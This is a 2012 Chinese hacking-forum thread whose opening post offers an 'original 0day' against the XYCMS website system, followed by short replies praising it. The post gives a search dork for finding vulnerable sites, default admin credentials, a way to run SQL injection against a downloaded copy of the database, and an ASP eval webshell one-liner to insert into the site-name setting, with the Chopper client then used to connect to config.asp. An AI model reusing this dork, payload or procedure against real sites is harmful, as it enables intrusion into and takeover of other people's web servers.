XYCMS企业建站系统（俺的和网上的不一样） 0day 原创

tianyueabc · 发表于 2012-6-10 13:55:46

关键词：inurl:showkbxx.asp?id=

有注入点

默认数据库:

游客，如果您要查看本帖隐藏内容请回复

默认账户和密码：admin admin

有很多网站都是有防注入的，这个时候我们可以下载数据库，然后本地搭建，替换原来的数据库，进行注入得到管理员账户和密码

后台拿shell

有个网站配置，在网站名称里面直接添加：xxx网站"%><%eval request("stomach")%><%'
在里面直接插入，不要删掉网站名称。。。

然后菜刀连接 http://xxxx.com/inc/config.asp 密码你们懂得

没有什么技术含量，大牛勿喷！！！！！！！希望给加点金币！！！！！！！！

冰刀 · 发表于 2012-6-10 14:53:35

我转....

Lizard · 发表于 2012-6-10 15:07:34

我也转。。。

fox · 发表于 2012-6-10 20:41:45

下载数据库在本地搭建环境？不能直接查看数据库么？

luowei0922 · 发表于 2012-6-11 09:07:18

不错，值得新手看看！！！

轩辕夏禹 · 发表于 2012-6-11 10:50:29

就喜欢0day

中国黑龙 · 发表于 2012-6-11 11:02:46

提示: 作者被禁止或删除内容自动屏蔽

显示全部楼层 · 发表于 2012-6-12 11:19:03

提示: 作者被禁止或删除内容自动屏蔽

wangod · 发表于 2012-6-12 11:39:48

支持原创。。

-冰凌_ · 发表于 2012-6-12 20:58:07

刀总这么可爱

中国黑龙中国黑龙当前离线积分 163 头像被屏蔽该用户从未签到	发表于 2012-6-11 11:02:46 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
中国黑龙中国黑龙当前离线积分 163 头像被屏蔽该用户从未签到
	回复支持反对使用道具举报

cai5cai5 该用户已被删除	发表于 2012-6-12 11:19:03 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
cai5cai5 该用户已被删除
	回复支持反对使用道具举报

XYCMS企业建站系统（俺的和网上的不一样） 0day 原创

评分

指导单位

旗下站点

联系我们